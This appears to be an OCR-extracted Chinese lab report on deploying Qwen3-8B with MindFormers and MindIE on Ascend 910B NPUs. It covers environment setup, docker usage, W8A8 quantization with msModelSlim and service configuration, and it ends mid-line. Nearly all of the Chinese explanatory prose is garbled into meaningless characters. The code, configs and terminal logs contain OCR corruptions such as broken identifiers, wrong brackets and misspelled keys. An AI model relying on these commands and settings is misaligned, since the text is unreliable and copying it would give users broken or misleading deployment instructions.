self.vocab_size = vocab_size
self.max_position_embeddings = max_position_embeddings
self.hidden_size = hidden_size
self.intermediate_size = intermediate_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.use_sliding_window = use_sliding_window
self.sliding_window = sliding_window if self.use_sliding_window else None
self.max_window_layers = max_window_layers

# for backward compatibility
if num_key value_heads is None:
num_key_value_heads = num_attention_heads

self.num_key_value_heads = num_key value_heads

self.head_dim = head_dim

self.hidden_act = hidden_act

self.initializer_range = initializer_range

self.rms_norm_eps = rms_norm_eps

self.use_cache = use_cache

self.rope_theta = rope_theta

self.rope_scaling = rope_scaling

self.attention_bias = attention_bias

self.attention_dropout = attention_dropout

# Validate the correctness of rotary position embeddings parameters

# BC: if there is a 'type' field, move it to 'rope_type'.

if self.rope_scaling is not None and "type" in self.rope_scaling:
self.rope_scaling["rope_type"] = self.rope_scaling["type"]

self.layer_types = layer_types
if self.layer_types is None:
self.layer_types = [
"sliding_attention"
if self.sliding_window is not None and i >= self.max_window_layers
else "full attention"
for i in range(self.num_hidden_layers)
1
super().__init__(
tie_word_embeddings=tie_word_embeddings,
**kwargs,

)

SBJIPS IR
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(1) )5 HIEMSZHE: Qwen3ForCausalLM £1E#E RUN_MODE Bxziiflik, predict A
{EFEETESCIN, EMbRIUERIIZSCEL, YIZETE xxx/mindformers-
r1.8.0/mindformers/models/qwen3/modeling_qwen3.py F5CHL .

(2) HF 5 MindFormers #XEZIEIELI: £ xxx/mindformers-
r1.8.0/mindformers/models/qwen3/utils.py) ¥, weight mapping EENX HF S2Z!
MindFormers S¥EZRXNNKXR, TRAIMLE -

F£I= 3 KE tokenizer 4

tokenizer REMARIBA N, HENWSEE RN ARIANIGEUETLIE, FESX
NS ERVIEAME . Qwen3-8B 1RELEHBERINNEIZLE, tokenizer A

[: ./mindformers/models/build_tokenizer.py) . TEIZNHRIZE 72 7] EBE: X
use_legacy: False AY, E5#ZiBid Hugging Face
AutoTokenizer.from_pretrained(pretrained_model_dir) JN# tokenizer,

if not use_legacy:  # Mindformers 1.8.0 49 Mcore 2843, |BARZASST legacy 2244
from transformers import AutoTokenizer
pretrained_model_dir = kwargs.get("pretrained_model_dir", None)
if not pretrained_model_dir:
pretrained_model_dir = get_context('pretrained_model_dir")
if not pretrained_model_dir:
raise ValueError("The current interface supports passing a local folder path, "
"but the provided path is empty or None.")
pretrained_model_dir = os.path.realpath(pretrained_model_dir)
if not os.path.isdir(pretrained_model_dir):
raise ValueError(f"The current interface supports passing a local folder path, "
f'but the provided path '{pretrained_model_dir}' is not a valid
directory.")

trust_remote_code = kwargs.get("trust_remote_code", False)
tokenizer =
AutoTokenizer.from_pretrained(pretrained_model_name_or_path=pretrained_model_dir,
trust_remote_code=trust_remote_code)
return tokenizer

LBITE tokenizer ITFERFERI YAML FEBH 2 1, EFHEEE, IR tokenizer IEREINE;:
(1) use_legacy: False: R HF FHIRER, BEEMEERBERFIZE tokenizer FIHEXEE
(2) pretrained_model_dir: "xxx/model/Qwen3-8B": IEEREIER, 5 ({FEE ) ED
RURRIRRIF—H.

R4 FBENE
EESRERINER, BEFRZESH PyTorch/Hugging Face 5 MindSpore &N Z[EHY
i, MRIRNERISIEEINE . Qwen3 HEIESIFEEM Hugging Face 1&REBFRNNEAN
B, TRAVMNHTEZER ., FIUEMEE, nJs%E:
https://www.mindspore.cn/mindformers/docs/zh-

CN/r1.8.0/feature/ckpt.html#%E6%9D%83%E9%87%8D%E6%A0%BC%ES5%BC%8F%ES
%BD%AC%E6%8D%A2 ,

£ 5 FF8 YAML 34
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AELSLHBI REMIERIMUIEIRIIIEGEEE, A “BiE + tokenizer + & + R
ML BEREEAFTE . HIBIGIUE YAML Fr, EBNESEE output_dir,
pretrained_model_dir. use_parallel. parallel_config. use_legacy ¥1IR=
generation_config,

£ test_hzl/configs BF F#kF predict_qwen3.yaml XM, HxmtbBESR. EEEFEREF
BHTIE . IR yaml BUKI B = :

1. B ES: output_dir: ".Joutput_qwen3_8b_predict_verify', {EFIEIETFEIIERSHE
HERSHMESERE, ETREEENERE,

2. {&BIHF: pretrained_model_dir: 'xxx/model/Qwen3-8B', f§@ZHFITHEEAY Qwen3-8B
Hugging Face &XEHZR, SRINFEF—H.

3. EBRIEIBRCE: use_parallel: False; parallel_config: {data_parallel: 1, model_parallel:
1}, FEea/IMEIIETBHEEE, BB RITIRTHIEEFIRT

4. TREERECE: BEERIEREIA generation_config.json, BEEAIA max_length K&
SRENER RERRENEIE, $55li%E: YWRERIE generation_config, FEERE
generation, HEINEFEIFEESENEAENSHAIZTRE generation_config,

5. %7 legacy tokenizer E&12: use_legacy: False, FE Hugging Face EAINEFIZR, BiE
(FREEIRRFH tokenizer SERECE .

SREEEWT:

# {443 predict_qwen3_8b_verify.yaml

seed: 0

output_dir: './output_gqwen3_8b_predict_verify'
load_checkpoint: "

use_parallel: False

run_mode: 'predict’

use_legacy: False

load_ckpt_format: 'safetensors'

trainer:
type: CausalLanguageModelingTrainer
model_name: 'qwen3'

parallel_config:
data_parallel: 1
model_parallel: 1

pretrained_model_dir: ' /mnt/class/qwen3_transfer/test_hzl/Qwen3-8B'

generation_config:
max_length: 128
do_sample: False
top_k: 1
top_p: 1.0
temperature: 1.0
repetition_penalty: 1.0
use_past: True

model:
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model_config:
compute_dtype: "bfloat16"
layernorm_compute_dtype: "float32"
softmax_compute_dtype: "float32"
rotary_dtype: "bfloat16"
params_dtype: "bfloat16"

context:
mode: 0
enable_graph_kernel: False
ascend_config:
precision_mode: "must_keep_origin_dtype"
max_device_memory: "59GB"
save_graphs: False
save_graphs_path: "./graph"

parallel:
parallel_mode: "MANUAL_PARALLEL"
enable_alltoall: False

6 BREnEERISIE

£ mindformers €ZEAY scripts B2, RERBHIZA run_qgwen3_8b_verify_infer.sh
B EEEM qwen3-8b EEIFIINEIRR

\
o
e

# {48 run_gwen3_8b_verify_infer.sh
#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
CONFIG_PATH="${ROOT_DIR}/configs/qwen3/predict_qwen3_8b_verify.yaml"
MODEL_DIR="${MODEL_DIR:-/mnt/class/qwen3_transfer/test_hzl/Qwen3-8B}"
PROMPT="${1:-IBFHFXNBREC, FriEREERE AP SR (ES . "

cd "${ROOT_DIR}"

echo "[INFO] root_dir=${ROOT_DIR}"
echo "[INFO] config=${CONFIG_PATH}"
echo "[INFO] model_dir=${MODEL_DIR}"
echo "[INFO] prompt=${PROMPT}"

python run_mindformer.py \
--config "${CONFIG_PATH}" \
--run_mode predict \
--use_parallel False \
--pretrained_model_dir "${MODEL_DIR}" \
--predict_data "${PROMPT}"

echo "[INFO] verify inference finished"
echo "[INFO] check text_generation_result.txt for the generated text"

AWM R ap<:

cd /mnt/class/qwen3_deploy/test_hzl/mindformers/scripts
# BH—: (ERHARRIKIAEER

bash ./run_gwen3_8b_verify_infer.sh
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# B TERARERINFTEER
bash ./run_qwen3_8b_verify_infersh “iBAZEHNENEFST”

Clear block table cache engines

/log[mindformers/t / .py:i1760] - INF
= i) f

CEER ]
#in: \mnl. @
bl =

ify inference fin
t for the generated text
/test_hz1/mindformers /s

EFfEHY Qwen3-8B BEISIEEIREIMNA, RBREMNE TR EFTE.

2.5 LIS/ \e

REFTR 7 Qwen3-8B RELTR SEMMHRINIE, SLNELIRFA—BR, ARKREABEZ

ITIMNEFIREVRR, MEfeSepRECEERCANIT Prompt iR, REETHIEMARST RS
U IILE o

BEAESLYN, FRAVERRETRIGIERNERSE: SHARSETR, BHMRERIRST
B, AEEd e/ MEERH RIS RRERIER TN AL . EAELINEY, 157 Qwen3-
8B ERERELEE. Mafit. PD B APl RSUSLIHIERMEG,

2.6 BEWM

£ Qwen3-8B HIRIIFLIH, A AFBER BRI EINEKI, EFEERENE
Tokenizer #&f3. generate £ NERBIDTIERTIEE?

SERE: RENNFEAIIREER R EMFINGERBHIEZRIRG, HARTRIEIREIRE
FRIEE, —PKEBISERRIEE, FBEMXABAN . Tokenizer {73, HEFIEITE. Hid
token £ ARREEZ N UT . ELt, TREFBILINT, RGNS : EEE
ERINNE:, FEREBEIIMIL Prompt &L ENE. ET . IBSEBIIN AR . XiHBEE
BY. Tokenizer. #IEZOMIZTHEEET iR ENIRIGIE




S

HUAWE] RSP ANET 8237
3 ki) { L A
3.1 LIS/ 48

3.1.1 XF AR

RESNEXRREEEREFRIEINMAFR, BEEIRENESRHENSERE, B>
REEEMEIEN 275, NREARSITE . ALRERXETEMTERIERRE
MEBHERKIE, FRNRFAEWEEZHT .

ASCISE T Atlas 800T A2/Ascend 910B3 EEHEE-RIFEE, AJLAAMZEE MindIE 2 Z{FEFH
MindIE &F285Chk Qwen3-8B AY WBA8 =14, FHi@id MindIE Service INE =W IEEL TR
'f’t?&IEg_Lu—.Eo

3.1.2 SCB HAY
o iR MindIE HiE
o IEIFEFAY CANN. torch_npu. ATB Models #] MindIE Service 51i&
e {FMH msModelSlim ¥ Qwen3-8B 45§ W8SA8 E(INE
o JFIMENXFIEREBN
e (B MindIE Service E2EX{4-INE WBA8 E{VIEEY
e J@iZ OpenAl XIi& API SeRiHIEIE FRLSIIE

3.2 MEESR
3.2.1 T EiBH

ALIGEHEA MindIE ZFIT R, %0 MindIE Service. ATB Models. torch_npu. msModelSlim
FhY, TRIREMN . SEMEEINZEFD API BRSBAHEIRIGIIE

AREEIGNSTIESE WBA8 E . WBA8 FRRMNE Weight FNEIE Activation 135K FH 8bit £
t. HEELINEWANER) WBA16, WBAS Beigit—E &Kt SR EFF8Y; 8L
WB8A8S/WBASSC FRERE(r, WBAS IZFEEE, B SR XIE TR,

BXTENRNT:
TH (3
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MindIE RIEEUEIRARSS L ERE
MindIE Service 1RHtOpenAlXIFEAPIRSS
ATB Models AR B SRR fFinAE
msModelSlim £ RWBASELINE
torch/torch_npu MindIE#EIBIz Tk ER
npu-smi BEENPURSHIEZFSA
Python requests JEAFMIndIE Service API

3.2.2 MindE M S8R

MindIE BREESZIS AL REX T HE T2 MindIE B85, WIMERYTF, BNiArRE
MindIE RGFBIEBRE . NREAIMLERAXTENSG, WHTEE—. =, M,
SNSRIk MindIE BERRERISI0, WRLE " =, [OH1T.

1 ZEMIndIEHBXTEHR

FEEENESA T BIRE . E4F0 CANN ZEMFHRET, ANEBEE5TH PyTorch,
torch_npu. ATB Models 1 MindIE Service B9& %t & . HH, CANN 12t AscendCL 1z1T
AT, EREEFE NPU FFAIAES; torch_npu FBFS2# PyTorch HEBIFE A BE NPU Liz1T;
ATB Models {2t KR EUHIRFT RS 4R ENEHCEES]; MIndIE Service FBFSEII KRB
BERSEE . LRINHRESESRIERALE, 40 torch==2.1.0 FEEFEXINIRAR
torch_npu, [ERT torch_npu iR ARtBFES 25T CANN MRARFRIF—H,

\
o
e

#1. HERREE:

# torch_npu-2.1.0.post6-cp310-cp310-linux_aarch64.whl

# Ascend-mindie-atb-models_2.3.1_linux-aarch64_abi0.tar.gz
# Ascend-mindie_2.3.1_linux-aarch64_abi0.run

# 2. INZE CANN IMBZE
source /usr/local/Ascend/ascend-toolkit/set_env.sh
grep -q "ascend-toolkit/set_env.sh" /root/.bashrc || cat >> /root/.bashrc <<'EOF'

source /usr/local/Ascend/ascend-toolkit/set_env.sh
EOF

# 3. %% PyTorch #0 torch_npu
pip3 install --upgrade pip setuptools wheel
pip3 uninstall -y torch torchvision torchaudio torch_npu torch-npu

pip3 install \
numpy==1.26.4 decorator==5.1.1 sympy==1.12 cffi==1.16.0 \
pyyaml==6.0.1 protobuf==5.26.0 scipy==1.12.0 requests==2.31.0 \
psutil==5.9.8 absl-py==2.1.0 attrs==23.2.0

pip3 install torch==2.1.0
pip3 install /home/package/torch_npu-2.1.0.post6-cp310-cp310-linux_aarch64.whl
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# 4. &% ATB Models

mkdir -p /usr/local/Ascend/atb-models

tar -zxf /home/package/Ascend-mindie-atb-models_2.3.1_linux-aarch64_abi0.tar.gz \
-C /usr/local/Ascend/atb-models

pip3 install $(find /usr/local/Ascend/atb-models -name "atb_lIm*.whl" | head -n 1)

grep -q "ATB_SPEED_HOME_PATH" /root/.bashrc || cat >> /root/.bashrc <<'EOF'
if [ -f Jusr/local/Ascend/atb-models/set_env.sh ]; then
source /usr/local/Ascend/atb-models/set_env.sh
fi
export ATB_SPEED_HOME_PATH=/usr/local/Ascend/atb-models
export PYTHONPATH=/usr/local/Ascend/atb-models:$PYTHONPATH
EOF

# 5. &% MindIE Service

chmod +x /home/package/Ascend-mindie_2.3.1_linux-aarch64_abi0.run
source /usr/local/Ascend/ascend-toolkit/set_env.sh
/home/package/Ascend-mindie_2.3.1_linux-aarch64_abi0.run --check
/home/package/Ascend-mindie_2.3.1_linux-aarch64_abi0.run --install --quiet

source /usr/local/Ascend/mindie/set_env.sh

grep -q "mindie/set_env.sh" /root/.bashrc || cat >> /root/.bashrc <<'EOF'
source /usr/local/Ascend/mindie/set_env.sh

EOF

source /root/.bashrc

2 FREXMiIndIE B8 HBEIEE
SLIREIFRELIRE MindIE ES B HG . I EABRERCESTRESIRZSZEEIIRB/IE
PLBECAY MindIE $21RhRA, SAIGEIE docker pull &L, SREURIZAIT:

o FHAFBIREECESR MindIE B TN :
https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c
3439d48f

o (EREHKSES
o 7 EEIRA’ TET, IHBESIAIEEISEE
o IRIETEIZTIIT docker pull FEIBE

# ALPIPPERERREGNT, NERGERISEH
docker save -0 mindie_2.2.RC1_800I_A2_py311_openeuler24.03_lts_arm64.tar \
swr.cn-south-1.myhuaweicloud.com/ascendhub/mindie:2.2.RC1-800I-A2-py311-openeuler24.03-lts

# EBMRSZSE LS
docker load -i mindie_2.2.RC1_8001_A2_py311_openeuler24.03_lts_arm64.tar

# WIFRR
docker images | grep mindie

[root@workerd3 ~1# docker images | grep mindie
swr.cn-south-1.myhuawe icloud.com/ascendhub/ 2.3.0-800I-A2-py311-openeuler24.03-1ts

97fofadfa336 4 months ago
swr.cn-south-1.myhuaweicloud.com/ascendhub/ 2.2.RC1-860I-A2-py311-openeuler24.03-1ts
d6ae7f25bf0 4 months ago
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BIVRENABZRT: /mnt/class/qwen3_deploy/test_hzl/,

# BATABR
mkdir -p /mnt/class/qwen3_deploy/test_hzl/tools
cd /mnt/class/qwen3_deploy/test_hzl/tools

# THRERAFED
git clone -b tag_MindStudio_8.2.RC1.B120_002 https://gitcode.com/Ascend/msit.git

[E51 MindIE &230Y, FERBBENL NPU IREEF. Ascend Z3EHZ . npu-smi TEFILIG
HIEEREHIERP . BREOHPRIFEFH—K NPU, flal/dev/davincio, FrREIATIER
/dev/davinci_manager. /dev/devmm_svm. /dev/hisi_hdc EHg&&EN 14,

ZRNSLIG R F--network=host #--ipc=host FRBEIESs, EFRLEEREEAE MindIE Service
ARSSim O . EEANEFILIGHIARS—RE/mnt/class/qwen3_deploy/test_hzl BRT, @id#E
H/mnt/mnt TMBEENINSHHE,

# HENIERBER

docker run -it -d --net=host --shm-size=128g \
--privileged \
--name gwen3_mindie_npu0 \
--device=/dev/davinciO \
--device=/dev/davinci_manager \
--device=/dev/hisi_hdc \
--device=/dev/devmm_svm \
-v /usr/local/Ascend/driver:/usr/local/Ascend/driver:ro \
-v /usr/local/sbin:/usr/local/sbin:ro \
-v /path-to-weights:/path-to-weights:ro \
-v /mnt:;/mnt \
swr.cn-south-1.myhuaweicloud.com/ascendhub/mindie:2.2.RC1-8001-A2-py311-openeuler24.03-lts \
/bin/bash

# HNBZ
docker exec -it gwen3_mindie_npu0 bash

TSR3 KEKRE

HAWRE, FE5EME Ascend IMEEZE, FHEE NPU. ACL. torch_npu. ATB Models
1 MindIE Service 2&H . IMEICENBIREMAREREEIERIE Ascend 910B3,
PyTorch gE86#E NPU Tensor, ATB Models F7ZE Qwen3 i&BcE=RE, MindIE Service 52
[F1FE. W8 npu-smi info BEASEZ 910B3 JAZ ) OK, import acl IEE,
torch.npu.is_available()iR[E] True, FHEBILABIEE npu:0 £AY Tensor, iRBEMIZITINES
Z BT RESMINERIIESM.

# KiEKE
source /usr/local/Ascend/ascend-toolkit/set_env.sh
npu-smi info

# KB ACLTEH
python3 - <<'EOF'
import acl

print("acl import ok")
EOF




S

AWl SR B #5277
# ¥E PyTorch/torch_npu
python3 - <<'EOF'
import torch
print("torch version:", torch.__version_ )
import torch_npu
print("torch_npu import ok")
print("torch npu available:", torch.npu.is_available())
x = torch.tensor([1.0]).npu()
print("tensor:", x)
print("device:", x.device)
EOF
# H2& MindIE Service
find /usr/local/Ascend -name "mindieservice_daemon"
# & msModelSlim
which msmodelslim
msmodelslim quant --help | head -120
[root@Atlas800T1 /]# source /usr/local/Ascend/ascend-toolkit/set_env.sh
npu-smi
Power(W) Hugepages -Usage(page) |
AlCore(%) HBM-Usage(MB) |
=
|
3419 / 65536 |
=+
cemme—- B— +
Process name | Process memory(MB) |
+
|
— =+
[root@AtlasseeT1 /1# |}
[root@Atlas8e0T1 /]# python3 -
import acl
print("acl import ok")
EOF
acl import
[root@AtlasseeT1 /J#
[root@Atlas860T1 /J]# python3 - <<'EOF'
import torch
print("torch version:", torch._ version_)
import torch_npu
print(“torch_npu import ok")
print("torch npu available:", torch.npu.is_available())
x = torch.tensor( ).npu()
print(“"tensor:", x)
print(“device:", x.device)
EOF
torch version: 2.1.0
torch_npu import
torch npu available:
[W compiler_depend.ts:164] Warning: Device do not support double dtype now, dtype cast replace with float. (function operator())
tensor: tensor( , device='npu:0')
device: npu:@
[root@Atlasg8eeT1 /]#
[root@Atlas8e0T1 /]# find /usr/local/Ascend e "mindieservice_daemon"
Jusr/local/Ascend/mindie/2.3.1/mindie-service/bin/mindieservice_daemon
/usr/local/Ascend/mindie/2.3.1/mindie-1lm/bin/mindieservice_daemon
[root@AtlasseeT1 /1#
1= LI \
TR 4 RERRES
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ANSLIGEFRYRIAER B F9/mnt/class/qwen3_deploy/test_hzl/Qwen3-8B, ZBERMNE &
config,json. generation_config.json. tokenizer.json. tokenizer_config.json. vocab.json LA

R 24 safetensors RED B4,

SWRIEERNMEEBERTE, LTHERREEENE. tokenizer EFFINED F X142
7£. [Ef4 Qwen3-8B (NEB R AN K 16GB, [ELEEn] SEWENEFFHTILL, Fﬁ:_FM
BREWHRANERD TR

# BERIREEISF
Is -lh /mnt/class/qwen3_deploy/test_hzl/Qwen3-8B

# BEEFAN
du -sh /mnt/class/qwen3_deploy/test_hzl/Qwen3-8B

[root@Atlas8eeTl /J# ls -lh /mnt/class/qwen3_deploy/test_hzl/Qwen3-8
total 166G

-rW-r--r--.
-rW-r--r--.
-TW-r--r--.
-TW-F--r--.
~TW-T--F-~.
-TW-F--r--.
-rW-r--r--.
-rw-r--r--.
-TW-F--r--.
-TW-r--r--.
-TW-r--r--.
-rW-F--r--.

root root 12K Apr 24 :45 LICENSE

root root 17K Apr - README . md

root root 728 Apr : config.json

root root 73 Apr - configuration.json

root root 239 Apr - generation_config.json

root root 1.6M Apr - merges.txt

root root 3.8G Apr :45 model-00001-0f-00005.safetensors
root root 3.8G Apr :45 model-00002-0f-00005.safetensors
root root 3.7G Apr - model-00003-0f-00005.safetensors
root root 3.0G Apr - model -00004-0f-00005.safetensors
root root 1.2G Apr :45 model-00005-0f-00005.safetensors
root root 33K Apr :45 model.safetensors. index. json
-rwW-r--r--. root root 11M Apr = tokenizer.json

-rW-r--r--. root root 9.6K Apr :45 tokenizer_config.json
-frw-r--r--. 1 root root 2.7M Apr : vocab.json

[root@Atlas800T1 /]# du -sh /mnt/class/qwenJ deploy/test_hzl/Qwen3-8B

166G /mnt/class/qwen3_deploy/test_hz1/Qwen3-8B

[root@Atlas800T1 /]#

PWWWwWE

PRPRRPRRPE PR RE R

3.3 {H msModelSlim 1317 W8AS8 &1¢,
BB RUTRUSS

ARLEE(FEF msModelSlim %3 Qwen3-8B #1417 W8A8 81, WBA8 S(EISEEIh XS &M

EiEEHRS INT8 18, HERITNANEENSH . BEEXSEIIRENSH . ELE

S REAVERI B R LU MindIE Service 102, FIF/SLESHETRIONE

AT 387 msModelSlim R E Qwen3-8B HIR(ELHKECE, HITEUISIRREAERENA

BB, LI ATLATFERNEA y, tBATLAER yes yimsmodelslim quant BHzabtfiA, BB

BN SEELIE R .

ASLIGIEIE WBAB {EAEZEN AT, TERRZHEREYRPE .. RIEEXTEE. EEX
%, FERTLAEZERTREE MIndIE Service INEFD API #EIEISIF . #8EL W8A8S/WS8ASSC,

WB8A8 RS R MGIRIEaERIZ, ERIETH “EMNELEN—HIEIIT—ER oM B9,

# SIEMmEER
mkdir -p /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8
mkdir -p /mnt/class/qwen3_deploy/test_hzl/mindie/logs
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# H1T W8BA8 E{kaps
source /usr/local/Ascend/ascend-toolkit/set_env.sh

msmodelslim quant \
--model_path /mnt/class/qwen3_deploy/test_hzl/Qwen3-8B \
--save_path /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8 \
--device npu \
--model_type Qwen3-8B \
--quant_type w8a8 \
--trust_remote_code True \
2>&1 | tee /mnt/class/qwen3_deploy/test_hzl/mindie/logs/qwen3_8b_w8a8_quant.log

BITEMNEGSE, msmodelslim EAZF] Qwen3-8B sx{ELHKACER, 2B, F
FomN: y.

- msmodelslim.app.n I =
for model_ty e efa onfi e used. ( e inue, otherwise it will exit): yli

:30<00:00, 1.44it/s]
- msmodelsli - ibration end!
.modelslim - INFO -
ce.modelslim_vo - IN ANTIZATION: PERSI

directory exists, write f tory '/mnt/class/. oy/test_hzl/mindie/quant_output/qw

rsion, numpy and safe_tensor will be ignored, only ascendvl will be saved.
, defaulting to

- msmod:
msmodelslim - IN Path of quant_model_description_json is '/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w

y ResourceWarning: Implicitly cle em a y '/tmp/tmpam_vjn2e'>
_warnings m e ResourceWarning)
[root@Atlas800T1

2 BHERINE

ShThE, EEREHRTHBRPEEER quant_model_weight_w8a8.safetensors FI
quant_model_description.json, EHef, Bi&EE WSA8 EEAINEN 4, BEICRTEMNE
B, SEEE. scale. offset. deq_scale. quant_bias EE24 2%,

BILAEBIZIEEY quant_model_description.json F1AY model_quant_type FERFIASHZEEL, a0
RiZ=FEE I W8AS, iRBALNFIEEI BRI WBAS 4=, BT, aILUH—EaE
safetensors SUHRY dtype, WNERHEIAE torch.int8 INE, HIBERIZOEEECRHE
%,

AsLigdh, [E94 Qwen3-8B BE A/ 16GB, WBAS EVEEZRA/NAN 8.9GB, iHIEE
CEERTIRRE TF&

# BN
ls -lh /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8

# BEEFX/N
du -sh /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8

# XENE
python3 - <<'EOF'
import json
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path =
"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/quant_model_description.json

with open(path, "r", encoding="utf-8") as f:
data = json.load(f)

print("model_quant_type:", data.get("model_quant_type"))
print("first keys:", list(data.keys())[:20])
EOF

[root@Atlas860T1 quant_output]# ls -Lh /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_
8.96

root 8 Apr 2 :45 config.json
root 73 Apr configuration.
root Apr generation_con
root Apr 25 won.json
root 8.96 Apr 25 d ight_w8a8.safetensors
root 11M Apr j
root 9.6K Apr 2 e _config.json
root 2. Apr 24 ©9:45 vocab.json
0T1 quant_output]#
[root@Atlas866T1 quant_output]#
[root@Atlas800T1 quant_output]# du -sh /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen
8.96 /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8
[root@Atlas800T1 quant_output]#
[root@Atlas800T1 quant_output]#
[root@Atlas806T1 quant_outputl#
[root@Atlas800T1 quant_output]# python3 - <<'EOF'
import json

path = "/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/quant_model_description.json"

with open(path, "r", encoding="utf-8") as f:
data = json.load(f)
del_quant_type:", data.get("model_guant_type"))
;7. list(data.keys()) )

model_quant_type: W8AS

first keys: ['version', 'model_quant_type', 'model.embed_tokens.weight', 'model.layers.0.self_attn.q_proj.weight', 'model.layers.0.self attn.q proj.wei

ght_scale', ‘model.layers.6.self_attn.q_proj.weight_offset’', 'model.layers.@.self_attn.q_proj.input_scale', 'model.layers.8.self_attn.q_proj.input_offs
‘, 'model.layers.0.self_attn.q proj.quant_bias', odel.layers.0.self_attn.q_proj.deq_scale', 'm layers.0.self_attn.k_pr eight’, 'model.layers

.0.self_attn.k_proj.weight_scale’', ‘'model.layers.8.self_attn.k_proj.weight_offset', 'model.layers.0.self_attn.k_proj ut_scale', 'model.layers.0.self

_attn.k_proj.input_offset', 'model.layers.@.self_attn.k_proj.quant_bias', 'model.layers.0.self_attn.k_proj.deq_scale', 'model.layers.0.self_attn.v_proj

.weight', 'model.layers.0.self_attn.v_proj.weight_scale', 'model.layers.0.self_attn.v_proj.weight_offset']

[root@Atlas800T1 quant_outputl#

# FTSWSHHE
python3 - <<'EOF'
import json

path =
"/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/quant_model_description.json

with open(path, "r", encoding="utf-8") as f:
data = json.load(f)

keys = list(data.keys())

def count_suffix(s):
return len([k for k in keys if k.endswith(s)])

print("model_quant_type:", data.get("model_quant_type"))
print("total keys:", len(keys))

print("weight_scale:", count_suffix("weight_scale"))
print("weight_offset:", count_suffix("weight_offset"))
print("input_scale:", count_suffix("input_scale"))
print("input_offset:", count_suffix("input_offset"))
print("deq_scale:", count_suffix("deq_scale"))
print("quant_bias:", count_suffix("quant_bias"))

EOF

HEHEE R
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model_quant_type: W8A8
total keys: 1913
weight_scale: 252
weight_offset: 252
input_scale: 252
input_offset: 252
deq_scale: 252
quant_bias: 252
RREEHHA Qwen3-8B SHIRAIZEA) WSAS, ENMNEFEGEIIRMA 8 bit b, 2t
IR (HF weight_scale
RREBEHHA Qwen3-8B SMIERIZEAL) WBAS, EMNEFHEIIRMA 8 bit Eit. 2k
WA weight_scale. weight_offset. input_scale. input_offset 1 deq_scale V&=
59 252, 5 Qwen3-8B {9 36 &= Transformer Block x §E 7 ™MZL» Linear E¥5%
XN, WHBA Attention HRY q/k/v/o $&ELAK MLP AR gate/up/down IEAIE MK
SEUWSHER . BERE, ZEWHANHENRE, SWESTCESIE, 5 Qwen3-8B
WB8A8 HIREIBIREIRVMENESL, RENH—SESHIERE .. T, FHNEFSEHT
FRIIE,

L], 3 (EHEMWIRE config.json

(5 MindIE INEEWIRERS, BSEESWIREBRAY config.json FFRRSEARE, BXE
FEEEREE config.json FHY model_type. architectures. torch_dtype.
num_hidden_layers. hidden_size ¥ quantize FE&, FRIRERIZERTS qwen3, EHXIREA
w8a8, ZFERTFIIE MindIE Service BEISIRIBRIIERI A RINEANGE

cp /mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/config.json \
/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/config.json.bak

python3 - <<'EOF'
import json

path = "/mnt/class/qwen3_deploy/test_hzl/mindie/quant_output/qwen3_8b_w8a8/config.json"

with open(path, "r", encoding="utf-8") as f:
data = json.load(f)

data["quantize"] = "w8a8"

with open(path, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)

print("updated:", path)
print("quantize:", data.get("quantize"))
EOF

3.4 SWERKIE

$ 1 &2 MindIE Service BeE3 {4
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SWERILRLE, EE(EH MindIE Service A EIABRE X4
/usr/local/Ascend/mindie/2.2.RC1/mindie-service/conf/config.json, SHEELERIZFEME WSBAS
EXHEER, HRERNERETESEH.

FTEEBYATEIE: BEEZRZEN qwen3_8b_w8a8, EENERFRENENMEER,
worldSize IE 1, modelinstanceNumber iI8&J9 1, npuDevicelds i&&A[[0]],
maxInputTokenLen 1 maxPrefillTokens %GR & 2048 , SLIGIAERFRINEA] HTTPS FIA
ERE(E TLS, EF{ER HTTP ZOF TEAMIGIE .

FEFE, MindIE 2.2.RC1 & npuDevicelds FEERE N _##H . BHEEIHENS A
[[0]], FTr—MEBISLHIGPEIZLE NPUO, TNERER[0], RSB BT SIRECERITEIR

# SHEMNRKIARE
cd /usr/local/Ascend/mindie/2.2.RC1/mindie-service/conf
cp config.json config.json.bak.$(date +%Y%m%d_%H%M%S)

# (EECEX S

python3 - <<'EOF'
import json

from pathlib import Path

config_path = Path("/usr/local/Ascend/mindie/2.2.RC1/mindie-service/conf/config.json")

with open(config_path, "r", encoding="utf-8") as f:
data = json.load(f)

server = data.setdefault("ServerConfig", {})
server["ipAddress"] = "127.0.0.1"
server["managementlpAddress"] = "127.0.0.1"
server["port"] = 1025
server["managementPort"] = 1026
server["metricsPort"] = 1027
server["httpsEnabled"] = False
server["allowAllZerolpListening"] = False

if "interCommTLSEnabled" in server:
server["interCommTLSEnabled"] = False

if "inferMode" in server:
server["inferMode"] = "standard"

backend = data.setdefault("BackendConfig", {})
backend["modellnstanceNumber"] = 1

# MindIE 2.2.RC1 EXR _##HH: S MEBISLEIRI R —2H NPU
backend["npuDevicelds"] = [[0]]

if "tokenizerProcessNumber" in backend:
backend["tokenizerProcessNumber"] = 1

deploy = backend.setdefault("ModelDeployConfig", {})
deploy["maxInputTokenLen"] = 2048

model_list = deploy.setdefault("ModelConfig", [])
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if not model_list:
model_list.append({})
model = model_list[0]
model["modelinstanceType"] = "Standard"
model["modelName"] = "qwen3_8b_w8a8"
model["modelWeightPath"] =
